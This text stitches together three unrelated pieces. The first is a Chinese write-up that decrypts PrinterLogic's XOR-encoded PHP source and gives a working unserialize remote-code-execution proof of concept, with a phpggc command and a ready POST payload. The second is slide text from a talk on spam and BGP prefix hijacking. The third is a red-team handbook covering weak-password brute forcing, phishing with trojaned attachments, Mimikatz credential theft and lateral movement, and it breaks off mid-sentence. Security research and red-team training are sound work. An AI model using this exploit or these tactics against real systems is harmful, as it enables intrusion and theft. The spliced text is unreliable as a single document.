v21; v5 = 0; v6 = v21 >= 0x9F; if ( v21 >= 0x9F ) { do { if ( v5 >= 0x9F ) break; v7 = *(&a_phpHeaderHttp[a1 - (_DWORD)"<?php\n" "header('HTTP/1.1 500 Internal Server Error');\n" "echo 'PrinterLogic decoder is not installed, please contact customer support for" " assistance';\n" "exit();\n" "?>PL"] + v5); v8 = a_phpHeaderHttp[v5]; v6 = v7 == v8; ++v5; } while ( v7 == v8 ); v4 = v21; } if ( v6 ) { v9 = v4 - 159; v10 = emalloc__4(v4, v5); v11 = v10; v12 = 0; v22 = v10; if ( v9 ) { if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) ) { v13 = a1; do { *(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0); *(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0); *(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0); *(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0); v12 += 64; } while ( v12 < (v9 & 0xFFFFFFC0) ); } if ( v12 < v9 ) { v14 = v11 + v12; v15 = 159 - v22; v16 = v9 - v12; do { v17 = v15 + v14++; *(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC; --v16; } while ( v16 ); v11 = v22; } } memset((void *)(v11 + v9), 0, 0x9Fu); v18 = a2; a1 = *(_DWORD *)(v2 + 20); v21 = *(_DWORD *)(v2 + 8); *(_DWORD *)(v2 + 20) = v11; *(_DWORD *)(v2 + 8) = v9; v19 = dword_10003090(v2, v18); *(_DWORD *)(v2 + 20) = a1; v20 = v19; *(_DWORD *)(v2 + 8) = v21; efree__4(v11); result = v20; } else { result = dword_10003090(v2, a2); } } else { result = dword_10003090(v2, a2); } return result; } 关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc 伪代码中有一个 v4 - 159 刚好截取到这个地方 用 0x80 ^ 0xBC 试试 >>> 0x80 ^ 0xBC 60 >>> chr(60) '<' 看起来像是php的起始标签 < ,再试试第二位第三位 没错了就是仅仅异或了一个 0xBC 如此写脚本解密 using ; using ; using ; using ; using ; using ; namespace { internal class Program { static List<string> fileList = new List<string>(); static string encPath = @""; static void Main(string[] args) { if (args.Length < 2) { Console.WriteLine("decode.exe encdir outdir"); return; } else { Console.WriteLine($"{args[0]} {args[1]}"); } encPath = args[0]; ForeachForldersAndFiles(encPath); Console.WriteLine($"处理文件总数 {fileList.Count}"); foreach (var file in fileList) { Decode(file, args[1]); } Console.WriteLine("decode done!"); } static void ForeachForldersAndFiles(string path) { DirectoryInfo di = new DirectoryInfo(path); DirectoryInfo[] arrDir = di.GetDirectories(); foreach (DirectoryInfo dir in arrDir) { ForeachForldersAndFiles(di + dir.ToString() + "\\"); } foreach (FileInfo fi in di.GetFiles()) { string content = File.ReadAllText(fi.FullName, Encoding.UTF8); if (content.Contains("PrinterLogic decoder is not installed")) { fileList.Add(fi.FullName); System System.Collections.Generic System.IO System.Linq System.Text System.Threading.Tasks ConsoleApp5 Console.WriteLine($"add {fi.FullName}"); } } } static void Decode(string infile, string outfile) { Console.WriteLine("处理 " + infile); byte key = 0xBC; FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read); BinaryReader binaryReader = new BinaryReader(fileStream); string outfilepath = infile.Replace(encPath, outfile); string directoryName = new FileInfo(outfilepath).DirectoryName; if (!Directory.Exists(directoryName)) { Directory.CreateDirectory(directoryName); } StreamWriter streamWriter = new StreamWriter(outfilepath); long length = fileStream.Length; while (length > 0) { byte tmpByte = binaryReader.ReadByte(); byte resByte = Convert.ToByte(tmpByte ^ key); char res = Convert.ToChar(resByte); streamWriter.Write(res); length--; } streamWriter.Close(); Console.WriteLine("done " + infile); } } } 解密之后再来审计 审计 admin\design\reports\chart_image.php 文件中直接用了经典的base64反序列化 $dataset = unserialize(base64_decode(requeststr("dataset"))); poc ./phpggc -u -b -f Laravel/RCE2 system 'calc.exe' POST /admin/design/reports/chart_image.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNU NQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUz QTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJT IyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUz QTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMk ElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE 参考 1. https://www.yahooinc.com/paranoids/paranoids-vulnerability-research-printerlogic-issues- security-alert/ 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
Homeless Vikings Cut it out. You’re just making it worse. A marginally entertaining talk by Dave Josephsen Who IS this guy? • Dave. Sysadmin. • Various (mostly useless) Certifications • I wrote a book. You should buy it (I could use the $4) • I write the monitoring column for ;login magazine. • Use SourceMage! You might find me at • usenix LISA • usenix security • usenix tech • NANOG • defcon It all went down sorta like this: Conclusions I think we can draw from this • There is no such thing as repudiating mail from • Spammers will find a way to use your credentials • Delivery countermeasures are broken, and have generally made things worse. • Content filtering is NOT dead (contrary to popular belief). What’s all this about BGP? In short, Prefix Hijacks make the IPs of others, your own. This isn't new They've been used in the past to social engineer blocks of net-space away from unsuspecting RIR's, for the purpose of selling them to private enterprise who didn't know any better. In the past few years, a new kind of prefix hijack has become more prevalent. These are hard to detect and trace because they last for around 15 minutes, and come with a lot of AS prepending Why would you do this? • NMap the NSA • P2P MP3's • DOS the RIAA • Other Illegal acronyms How does it work? Usually, like this: If someone doesn’t play nice: Or is clever and not nice: But spammers don’t care about your netblock anyway. But there isn’t much unallocated IPV4 space right?
pdf
实战攻防演习之 红队视角下的防御体系突破 1 实战攻防演习之 红队视角下的防御体系突破 3 前 言 网络实战攻防演习,是新形势下关键信息系统网络 安全保护工作的重要组成部分。演习通常是以实际运 行的信息系统为保护目标,通过有监督的攻防对抗, 最大限度地模拟真实的网络攻击,以此来检验信息系 统的实际安全性和运维保障的实际有效性。 2016年以来,在国家监管机构的有力推动下,网 络实战攻防演习日益得到重视,演习范围越来越广, 演习周期越来越长,演习规模越来越大。国家有关部 门组织的全国性网络实战攻防演习从2016年仅有几家 参演单位,到2019年已扩展到上百家参演单位;同时 各省、各市、各行业的监管机构,也都在积极地筹备 和组织各自管辖范围内的实战演习。一时间,网络实 战攻防演习遍地开花。 在演习规模不断扩大的同时,攻防双方的技术水平 和对抗能力也在博弈中不断升级。 2016年,网络实战攻防演习尚处于起步阶段,攻 防重点大多集中于互联网入口或内网边界。 2017年,实战攻防演习开始与重大活动的网络安 全保障工作紧密结合。就演习成果来看,从互联网侧 实战攻防演习之 红队视角下的防御体系突破 4 发起的直接攻击仍然普遍十分有效;而系统的外层防 护一旦被突破,横向移动、跨域攻击,往往都比较容 易实现。 2018年,网络实战攻防演习开始向行业和地方深 入。伴随着演习经验的不断丰富和大数据安全技术的 广泛应用,防守方对攻击行为的监测、发现和溯源能 力大幅增强,与之相应的,攻击队开始更多地转向精 准攻击和供应链攻击等新型作战策略。 2019年以来.网络实战攻防演习工作受到了监 管部门、政企机构和安全企业的空前重视。流量分 析、EDR、蜜罐、白名单等专业监测与防护技术被防 守队广泛采用。攻击难度的加大也迫使攻击队全面升 级,诸如0day漏洞攻击、1day漏洞攻击、身份仿冒、 钓鱼WiFi、鱼叉邮件、水坑攻击等高级攻击手法,在 实战攻防演练中均已不再罕见,攻防演习与网络实战 的水平更加接近。 如何更好地参与网络实战攻防演习?如何更好地借 助实战攻防演习提升自身的安全能力?这已经成为大 型政企机构运营者关心的重要问题。 作为国内领先的网络安全企业,奇安信集团已成为 全国各类网络实战攻防演习的主力军。奇安信集团安 实战攻防演习之 红队视角下的防御体系突破 5 服团队结合200余次实战攻防演习经验,总结编撰了这 套实战攻防演习系列丛书,分别从红队视角、蓝队视 角和紫队视角,来解读网络实战攻防演习的要领,以 及如何结合演习提升政企机构的安全能力。 需要说明的是,实战攻防演习中的红方与蓝方对抗 实际上是沿用了军事演习的概念和方法,一般来说, 红方与蓝方分别代表攻击方与防守方。不过,红方和 蓝方的名词定义尚无严格的规定,也有一些实际的攻 防演习,将蓝队设为攻击队、将红队设为防守队。在 本系列丛书中,我们依据绝大多数网络安全工作者的 习惯,统一将攻击队命名为红队,将防守队命名为蓝 队,而紫队则代表组织演练的机构。 《红队视角下的防御体系突破》是本系列丛书的第 一本。本书希望通过归纳总结红队常用的攻击策略和 攻击战术,帮助政企机构理解攻方思维,以便提升演 习水平,构筑更有效的安全防御体系。正所谓“知己知 彼,百战不殆”。 实战攻防演习之 红队视角下的防御体系突破 6 目 录 第一章 什么是红队 .....................................1 第二章 红队三板斧——攻击的三个阶段............3 一、第一阶段:情报收集.......................................3 二、第二阶段:建立据点.......................................4 三、第三阶段:横向移动.......................................5 第三章 红队也套路——常用的攻击战术............7 一、利用弱口令获得权限.......................................7 二、利用社工来进入内网.......................................8 三、利用旁路攻击实施渗透.................................10 四、秘密渗透与多点潜伏.....................................11 第四章 红队三十六计——经典攻击实例..........14 一、浑水摸鱼——社工钓鱼突破系统..................14 实战攻防演习之 红队视角下的防御体系突破 7 二、声东击西——混淆流量躲避侦察..................17 三、李代桃僵——旁路攻击搞定目标..................19 四、顺手牵羊——巧妙种马实施控制..................21 五、暗渡陈仓——迂回渗透取得突破..................23 第五章 红队眼中的防守弱点........................25 一、资产混乱、隔离策略不严格..........................25 二、通用中间件未修复漏洞较多..........................26 三、边界设备成为进入内网的缺口......................26 四、内网管理设备成扩大战果突破点..................26 附录 奇安信红队能力及攻防实践..................27 实战攻防演习之 红队视角下的防御体系突破 1 第一章 什么是红队 红队,一般是指网络实战攻防演习中的攻击一方。 红队一般会针对目标系统、人员、软件、硬件和设 备同时执行的多角度、混合、对抗性的模拟攻击;通 过实现系统提权、控制业务、获取数据等目标,来发 现系统、技术、人员和基础架构中存在的网络安全隐 患或薄弱环节。 红队人员并不是一般意义上的电脑黑客。因为黑 客往往以攻破系统,获取利益为目标;而红队则是以 发现系统薄弱环节,提升系统安全性为目标。此外, 对于一般的黑客来说,只要发现某一种攻击方法可以 有效地达成目标,通常就没有必要再去尝试其他的攻 击方法和途径;但红队的目标则是要尽可能地找出系 统中存在的所有安全问题,因此往往会穷尽已知的“所 有”方法来完成攻击。换句话说,红队人员需要的是全 面的攻防能力,而不仅仅是一两招很牛的黑客技术。 红队的工作也与业界熟知的渗透测试有所区别。渗 透测试通常是按照规范技术流程对目标系统进行的安 全性测试;而红队攻击一般只限定攻击范围和攻击时 段,对具体的攻击方法则没有太多限制。渗透测试过 程一般只要验证漏洞的存在即可,而红队攻击则要求 实战攻防演习之 红队视角下的防御体系突破 2 实际获取系统权限或系统数据。此外,渗透测试一般 都会明确要求禁止使用社工手段(通过对人的诱导、 欺骗等方法完成攻击),而红队则可以在一定范围内 使用社工手段。 还有一点必须说明:虽然实战攻防演习过程中通常 不会严格限定红队的攻击手法,但所有技术的使用, 目标的达成,也必须严格遵守国家相关的法律和法规。 在演习实践中,红队通常会以3人为一个战斗小 组,1人为组长。组长通常是红队中综合能力最强的 人,需要较强的组织意识、应变能力和丰富的实战经 验。而2名组员则往往需要各有所长,具备边界突破、 横向移动(利用一台受控设备攻击其他相邻设备)、 情报收集或武器制作等某一方面或几个方面的专长。 红队工作对其成员的能力要求往往是综合性的、全 面性的。红队成员不仅要会熟练使用各种黑客工具、 分析工具,还要熟知目标系统及其安全配置,并具备 一定的代码开发能力,以便应对特殊问题。 实战攻防演习之 红队视角下的防御体系突破 3 第二章 红队三板斧——攻击的三个阶段 红队的攻击并非是天马行空的撞大运,而是一个 有章可循、科学合理的作战过程。一般来说,红队的 工作可分为三个阶段:情报收集、建立据点和横向移 动。我们也常将这个三个阶段称为红队工作的“三板 斧”。 一、第一阶段:情报收集 当红队专家接到目标任务后,并不会像渗透测试 那样在简单收集数据后直接去尝试各种常见漏洞,而 是先去做情报侦察和信息收集工作。收集的内容包括 组织架构、IT资产、敏感信息泄露、供应商信息等各个 方面。组织架构包括单位部门划分、人员信息、工作 职能、下属单位等;IT资产包括域名、IP地址、C段、 开放端口、运行服务、WEB中间件、WEB应用、移动 应用、网络架构等;敏感信息泄露包括代码泄露、文 档信息泄露、邮箱信息泄露、历史漏洞泄露信息等方 面;供应商信息包括相关合同、系统、软件、硬件、 代码、服务、人员等相关信息。 掌握了目标企业相关人员信息和组织架构,可以 快速定位关键人物以便实施鱼叉攻击,或确定内网横 纵向渗透路径;而收集了IT资产信息,可以为漏洞发现 实战攻防演习之 红队视角下的防御体系突破 4 和利用提供数据支撑;掌握企业与供应商合作相关信 息,可为有针对性开展供应链攻击提供素材。而究竟 是要社工钓鱼,还是直接利用漏洞攻击,抑或是从供 应链下手,一般取决于哪块是安全防护的薄弱环节, 以及红队对攻击路径的选择。 二、第二阶段:建立据点 在找到薄弱环节后,红队专家会尝试利用漏洞或 社工等方法去获取外网系统控制权限,一般称之为“打 点”或撕口子。在这个过程中,红队专家会尝试绕过 WAF、IPS、杀毒软件等防护设备或软件,用最少的流 量、最小的动作去实现漏洞利用。 通过撕开的口子,寻找和内网联通的通道,再 进一步进行深入渗透,这个由外到内的过程一般称 之为纵向渗透,如果没有找到内外联通的DMZ区 (Demilitarized Zone,隔离区),红队专家会继续撕 口子,直到找到接入内网的点为止。 当 红 队 专 家 找 到 合 适 的 口 子 后 , 便 可 以 把 这 个 点 作 为 从 外 网 进 入 内 网 的 根 据 地 。 通 过 frp、ewsocks、reGeorg等工具在这个点上建立隧 道,形成从外网到内网的跳板,将它作为实施内网渗 透的坚实据点。 实战攻防演习之 红队视角下的防御体系突破 5 若权限不足以建立跳板,红队专家通常会利用系 统、程序或服务漏洞进行提权操作,以获得更高权 限;若据点是非稳定的PC机,则会进行持久化操作, 保证PC机重启后,据点依然可以在线。 三、第三阶段:横向移动 进入内网后,红队专家一般会在本机以及内部网络 开展进一步信息收集和情报刺探工作。包括收集当前 计算机的网络连接、进程列表、命令执行历史记录、 数据库信息、当前用户信息、管理员登录信息、总结 密码规律、补丁更新频率等信息;同时对内网的其他 计算机或服务器的IP、主机名、开放端口、开放服务、 开放应用等情况进行情报刺探。再利用内网计算机、 服务器不及时修复漏洞、不做安全防护、同口令等弱 点来进行横向渗透扩大战果。 对于含有域的内网,红队专家会在扩大战果的同时 去寻找域管理员登录的蛛丝马迹。一旦发现某台服务 器有域管理员登录,就可以利用Mimikatz等工具去尝 试获得登录账号密码明文,或者Hashdump工具去导出 NTLM哈希,继而实现对域控服务器的渗透控制。 在内网漫游过程中,红队专家会重点关注邮件服务 器权限、OA系统权限、版本控制服务器权限、集中运 实战攻防演习之 红队视角下的防御体系突破 6 维管理平台权限、统一认证系统权限、域控权限等位 置,尝试突破核心系统权限、控制核心业务、获取核 心数据,最终完成目标突破工作。 实战攻防演习之 红队视角下的防御体系突破 7 第三章 红队也套路——常用的攻击战术 在红队的实战过程中,红队专家们逐渐摸出了一些 套路、总结了一些经验:有后台或登录入口的,会尽 量尝试通过弱口令等方式进入系统;找不到系统漏洞 时,会尝试社工钓鱼,从人开展突破;有安全防护设 备的,会尽量少用或不用扫描器,使用EXP力求一击即 中;针对蓝队防守严密的系统,会尝试从子公司或供 应链来开展工作。建立据点过程中,会用多种手段多 点潜伏,防患于未然。 下面介绍四种红队最常用的攻击战术。 一、利用弱口令获得权限 弱密码、默认密码、通用密码和已泄露密码通常是 红队专家们关注的重点。实际工作中,通过脆弱口令 获得权限的情况占据90%以上。 很多企业员工用类似zhangsan、zhangsan001 、zhangsan123、zhangsan888这种账号拼音或其简 单变形,或者123456、888888、生日、身份证后6 位、手机号后6位等做密码。导致通过信息收集后, 生成简单的密码字典进行枚举即可攻陷邮箱、OA等账 号。 实战攻防演习之 红队视角下的防御体系突破 8 还有很多员工喜欢在多个不同网站上设置同一套密 码,其密码早已经被泄露并录入到了社工库中;或者 针对未启用SSO验证的内网业务系统,均习惯使用同 一套账户密码。这导致从某一途径获取了其账户密码 后,通过凭证复用的方式可以轻而易举地登录到此员 工所使用的其他业务系统中,为打开新的攻击面提供 了便捷。 很多通用系统在安装后会设置默认管理密码, 然而有些管理员从来没有修改过密码,如admin/ admin、test/123456、admin/admin888等密码广泛 存在于内外网系统后台,一旦进入后台系统,便有很 大可能性获得服务器控制权限;同样,有很多管理员 为了管理方便,用同一套密码管理不同服务器。当一 台服务器被攻陷并窃取到密码后,进而可以扩展至多 台服务器甚至造成域控制器沦陷的风险。 二、利用社工来进入内网 计算机“从来”不会犯错误,程序怎么写,逻辑便 怎么执行;在一台计算机上怎样执行,在另外一台计 算机也同样执行。但人却会犯各种各样的错误,同一 名员工在不同情况下的同一件事情上可能会犯不同的 错误,不同的员工在同一情况的同一件事情上也可能 会犯不同错误。很多情况下,当红队专家发现搞系统 实战攻防演习之 红队视角下的防御体系突破 9 困难时,通常会把思路转到“搞人”(社工、钓鱼等)。 很多员工对接收的木马、钓鱼邮件没有防范意识。 红队专家可针对某目标员工获取邮箱权限后,再通过 此邮箱发送钓鱼邮件。大多数员工由于信任内部员工 发出的邮件,从而轻易点击了夹带在钓鱼邮件中的恶 意附件。一旦员工个人电脑沦陷,红队专家可以员工 PC作为跳板实施横向内网渗透,继而攻击目标系统或 其他系统、甚至攻击域控制器导致内网沦陷。 当然,社工不仅仅局限于使用电子邮件,通过客 服系统、聊天软件、电话等方式有时也能取得不错的 效果。像当年经典的黑客“朽木”入侵某大型互联网公 司,所采用的就是通过客服系统反馈客户端软件存在 问题无法运行,继而向客服发送了木马文件,最终木 马上线后成功控制了该公司核心系统,就是一个经典 的案例。有时,黑客会利用企业中不太懂安全的员工 来打开局面,譬如给法务人员发律师函、给人力资源 人员发简历、给销售人员发采购需求等等。 一旦控制了相关员工计算机,便可以进一步实施 信息收集。譬如大部分员工为了日常计算机操作中的 方便,以明文的方式在桌面或“我的文档”存储了包含 系统地址以及账号密码的文档;此外大多数员工也习 惯使用浏览器的记住密码功能,浏览器记住密码功能 实战攻防演习之 红队视角下的防御体系突破 10 大部分依赖系统的API进行加密,所存储的密码是可逆 的。红队在导出保存的密码后,可以在受控机上建立 跳板,用受控员工的IP、账号、密码来登录,简直没有 比这更方便的了。 三、利用旁路攻击实施渗透 在有蓝队防守的红队工作中,有时总部的网站防 守得较为严密,红队专家很难直面硬钢,撬开进入内 网的大门。此种情况下,通常红队不会去硬攻城门, 而是会想方设法去找“下水道”,或者挖地道去迂回进 攻。 红队实战中发现,绝大部分企业的下属子公司之 间,以及下属公司与集团总部之间的内部网络均未进 行有效隔离。很多部委单位、大型央企均习惯使用单 独架设一条专用网络来打通各地区之间的内网连接, 但同时又忽视了针对此类内网的安全建设,缺乏足够 有效的网络访问控制,导致子公司、分公司一旦被突 破,红队可通过内网横向渗透直接攻击到集团总部, 漫游企业整个内网,攻击任意系统。 例如A子公司位于深圳,B子公司位于广州,而总 部位于北京。当A子公司或B子公司被突破后,都可以 毫无阻拦地进入到总部网络中来;而另外一种情况,A 实战攻防演习之 红队视角下的防御体系突破 11 与B子公司可能仅需要访问总部位于北京的业务系统, 而A与B不需要有业务上的往来,理论上应该限制A与B 之间的网络访问。但实际情况是,一条专线内网通往 全国各地,一处沦陷可以导致处处沦陷。 另外大部分企业对开放于互联网的边界设备较为 信任,如VPN系统、虚拟化桌面系统、邮件服务系统 等。考虑到此类设备通常访问内网的重要业务,为了 避免影响到员工的正常使用,企业没有在其传输通道 上增加更多的防护手段;再加上此类系统多会集成统 一登录,一旦获得了某个员工的账号密码,就可以通 过这些系统突破边界直接进入内网中来。 譬如开放在内网边界的邮件服务通常缺乏审计、 也未采用多因子认证,员工平时通过邮件传送大量内 网的敏感信息,如服务器账户密码、重点人员通讯录 等;当掌握员工账号密码后,在邮件中所获得的信 息,会给红队下一步工作提供很多方便。 四、秘密渗透与多点潜伏 红队工作一般不会大规模使用漏洞扫描器。目前 主流的WAF、IPS等防护设备都有识别漏洞扫描器的能 力,一旦发现后,可能第一时间触发报警或阻断IP。因 此信息收集和情报刺探是红队工作的基础,在数据积 实战攻防演习之 红队视角下的防御体系突破 12 累的基础上,针对性地根据特定系统、特定平台、特 定应用、特定版本,去寻找与之对应的漏洞,编写可 以绕过防护设备的EXP来实施攻击操作,可以达到一击 即中的目的。 现有的很多安全设备由于自身缺陷或安全防护能力 薄弱,基本上不具备对这种针对性攻击进行及时有效 发现和阻止攻击行为的能力。导致即便系统被入侵, 红队获取到目标资料、数据后,被攻击单位尚未感知 到入侵行为。此外由于安全人员技术能力薄弱,无法 实现对攻击行为的发现、识别,无法给出有效的攻击 阻断、漏洞溯源及系统修复策略,导致在攻击发生的 很长一段时间内,对红队尚没有有效的应对措施。 红队专家在工作中,通常不会仅仅站在一个据点 上去开展渗透工作,而是会采取不同的Webshell、后 门,利用不同的协议来建立不同特征的据点。因为大 部分应急响应过程并不能溯源攻击源头,也未必能分 析完整攻击路径,缺乏联动防御。蓝队在防护设备告 警时,大部分仅仅只处理告警设备中对应告警IP的服 务器,而忽略了对攻击链的梳理,导致尽管处理了告 警,仍未能将红队排除在内网之外,红队的据点可以 快速“死灰复燃”;如果某些蓝队成员专业程度不高, 缺乏安全意识,导致如针对Windows服务器应急运维 的过程中,直接将自己的磁盘通过远程桌面共享挂载 实战攻防演习之 红队视角下的防御体系突破 13 到被告警的服务器上行为,反而可以给红队进一步攻 击蓝队成员的机会。 实战攻防演习之 红队视角下的防御体系突破 14 第四章 红队三十六计——经典攻击实例 古人带兵打仗讲三十六计,而红队实战亦是一个攻 防对抗的过程,同样是人与人之间的较量,需要出谋 划策、斗智斗勇。在这个过程中,有着“勾心斗角”、“ 尔虞我诈”,也有着勇往直前、正面硬刚。为此,我们 精选了几个小案例,以三十六计为题向大家展现红队 的常见攻击手法。 一、浑水摸鱼——社工钓鱼突破系统 社会工程学(简称社工)在红队工作中占据着半壁 江山,而钓鱼攻击则是社工中的最常使用的套路。钓 鱼攻击通常具备一定的隐蔽性和欺骗性,不具备网络 技术能力的人通常无法分辨内容的真伪;而针对特定 目标及群体精心构造的鱼叉钓鱼攻击则可令具备一定 网络技术能力的人防不胜防,可谓之渗透利器。 小D团队便接到这样一个工作目标:某企业的财务 系统。通过前期踩点和信息收集发现,目标企业外网 开放系统非常少,也没啥可利用的漏洞,很难通过打 点的方式进入到内网。 不过还是让他们通过网上搜索以及一些开源社 工库中收集到一批目标企业的工作人员邮箱列表。 实战攻防演习之 红队视角下的防御体系突破 15 掌握这批邮箱列表后,小D便根据已泄露的密码规 则、123456、888888等常见弱口令、用户名密码相 同,或用户名123这种弱口令等生成了一份弱口令字 典。利用hydra等工具进行爆破,成功破解一名员工的 邮箱密码。 小D对该名员工来往邮件分析发现,邮箱使用者为 IT技术部员工。查看该邮箱发件箱,看到他历史发过的 一封邮件如下: 标题:关于员工关掉445端口以及3389端口的操作 过程 附件:操作流程.zip 小D决定浑水摸鱼,在此邮件的基础上进行改造伪 装,构造钓鱼邮件如下。其中,zip文件为带有木马的 压缩文件。 标题:关于员工关掉445端口以及3389端口的操作 补充 附件:操作流程补充.zip 为提高攻击成功率,通过对目标企业员工的分析, 小D决定对财务部门以及几个跟财务相关的部门进行邮 实战攻防演习之 红队视角下的防御体系突破 16 件群发。 小D发送了一批邮件,有好几个企业员工都被骗上 线,打开了附件。控制了更多的主机,继而便控制了 更多的邮箱。在钓鱼邮件的制作过程中,小D灵活根据 目标的角色和特点来构造。譬如在查看邮件过程中, 发现如下邮件: 尊敬的各位领导和同事,发现钓鱼邮件事件,内部 定义为19626事件,请大家注意邮件附件后缀后.exe、. bat等… … 小D同样采用浑水摸鱼的策略,利用以上邮件为母 本,以假乱真构造以下邮件继续钓鱼: 尊敬的各位领导和同事,近期发现大量钓鱼邮件,以 下为检测程序… … 附件:检测程序.zip 通过不断地获取更多的邮箱权限、系统权限,根 据目标角色针对性设计钓鱼邮件,小D最终成功拿下目 标! 实战攻防演习之 红队视角下的防御体系突破 17 二、声东击西——混淆流量躲避侦察 在有蓝队(防守方)参与的实战攻防工作中, 尤其是有蓝队排名或通报机制的工作中,红队与蓝 队通常会产生对抗。IP封堵与绕过、WAF拦截与绕 过、Webshell查杀与免杀,红蓝之间通常会开展一场 没有硝烟的战争。 小Y和所带领的团队就遭遇了这么一次:刚刚创建 的跳板几个小时内就被阻断了;刚刚上传的Webshell 过不了几个小时就被查杀了。红队打到哪儿,蓝队就 根据流量威胁审计跟到哪,不厌其烦,团队始终在目 标的外围打转。 没有一个可以维持的据点,就没办法进一步开展内 网突破。小Y和团队开展了一次头脑风暴,归纳分析了 流量威胁审计的天然弱点,以及蓝队有可能出现的人 员数量及技术能力不足等情况,制定了一套声东击西 的攻击方案。 具体方法就是:同时寻找多个具有直接获取权限漏 洞的系统,正面大流量进攻某个系统,吸引火力,侧 面尽量减少流量直接拿权限并快速突破内网。 为此,小Y团队先通过信息搜集发现目标企业的 实战攻防演习之 红队视角下的防御体系突破 18 某个外网WEB应用,并通过代码审计开展漏洞挖掘工 作,成功发现多个严重的漏洞。另外发现该企业的一 个营销网站,通过开展黑盒测试,发现存在文件上传 漏洞。 小Y将团队兵分两路,除自己外的所有其他成员主 攻营销网站,准备了许多分属不同A段的跳板,不在乎 是否被发现,也不在乎是否封堵,甚至连漏洞扫描器 都上了,力求对流量威胁分析系统开启一场规模浩大 的“分布式拒绝服务”,让蓝队的防守人员忙于分析和 应对;而自己则悄无声息地用不同的IP和浏览器指纹特 征对WEB应用网站开展渗透,力求用最少的流量拿下 服务器,让威胁数据淹没在营销网站的攻击洪水当中。 通过这样的攻击方案,小Y团队同时拿下营销网站 和WEB应用网站,但在营销网站的动作更多,包括关 闭杀软、提权、安置后门程序、批量进行内网扫描等 众多敏感操作;同时在WEB应用网站利用营销网站上 获得的内网信息,直接建立据点,开展内网渗透操作。 很快营销网站就被蓝方下线了,蓝队开始根据流量 开展分析、溯源和加固工作;而此时小Y已经在WEB应 用网站上搭建了frp socks代理,内网横向渗透拿下多 台服务器,使用了多种协议木马,备份多个通道稳固 权限,以防被防守方发现或直接踢出局。接续的几天 实战攻防演习之 红队视角下的防御体系突破 19 服务器权限再未丢失,继续后渗透拿下域管理员、域 控制器,最终拿下目标权限,工控设备权限等核心目 标系统。 在渗透收尾的后期,小Y团队通过目标企业安全信 息中心的员工邮件看到,蓝队此时依旧在对营销网站 产生的数据报警做分析和上报防守战果等工作,然而 此时该企业的目标系统其实早已经被红队拿下了。 三、李代桃僵——旁路攻击搞定目标 其实在红队工作过程当中,也碰到过很多奇葩的 事情:譬如有蓝队将整个网站的首页替换成了一张截 图;有的将所有数据传输接口全部关闭了,然后采用 excel表格的方式实现数据导入;有的将内网目标系统 的IP做了限定,仅允许某个管理员IP访问等。 小H带领的红队就遇到类似的一次:目标企业把外 网系统能关的都关了,甚至连邮件系统都做了策略, 基本上没有办法实现打点和进入内网。 为此,小H团队通过充分信息收集后,决定采取“ 李代桃僵”的策略:既然母公司不让搞,那么就去搞子 公司。然而工作过程中发现,子公司也做好了防护, 而且基本上也关个遍。一不做,二不休,子公司不让 实战攻防演习之 红队视角下的防御体系突破 20 搞,那么就搞子公司的子公司,搞它的孙公司。 于是,小H团队从孙公司下手,利用sql注入+命令 执行漏洞成功进入(孙公司A) DMZ区。继续后渗透、内 网横向移动控制了孙公司域控、DMZ服务器。在(孙公 司A)稳固权限后,尝试搜集最终目标内网信息、子公 司信息,未发现目标系统信息。但发现(孙公司A)可以 连通(子公司B)。 小H决定利用(孙公司A)内网对(子公司B)展开攻 击。利用tomcat弱口令+上传漏洞进入(子公司B)内网 域,利用该服务器导出的密码在内网中横向渗透,继 而拿下(子公司B)多台域服务器,并在杀毒服务器获取 到域管理员账号密码,最终获取(子公司B)域控制器权 限。 在(子公司B)内做信息收集发现:(目标系统x)托 管在(子公司C),(子公司C)单独负责运营维护, 而(子公司B)内有7名员工与(目标系统x)存在业务往 来,7名员工大部分时间在(子公司C)办公,但办公 电脑资产属于(子公司B),加入(子公司B)的域,且办公 电脑经常带回(子公司B)。 根据收集到的情报信息,小H团队以(子公司B)内 的7名员工作为入口点,在其接入(子公司B)内网时,利 实战攻防演习之 红队视角下的防御体系突破 21 用域权限在其电脑种植木马后门。待其接入(子公司 C)内网时,继续通过员工计算机实施内网渗透,并获 取(子公司C)域控制权限。根据日志分析,锁定了( 目标系统x)管理员电脑,继而获取(目标系统x)管 理员登陆账号,最终获取(目标系统x)控制权限。 四、顺手牵羊——巧妙种马实施控制 红队永远不会像渗透测试那样,根据一个工作流程 或者漏洞测试手册,按照规范去做就能完成任务。红 队的工作永远是具有随机性、挑战性、对抗性的。在 工作过程中,总会有各种出其不意的情况出现,只有 能够随机应变,充分利用出现的各种机遇,才能最终 突破目标完成任务,小P这次做的目标就是如此。 小P团队通过挖掘目标企业OA系统的0Day漏洞, 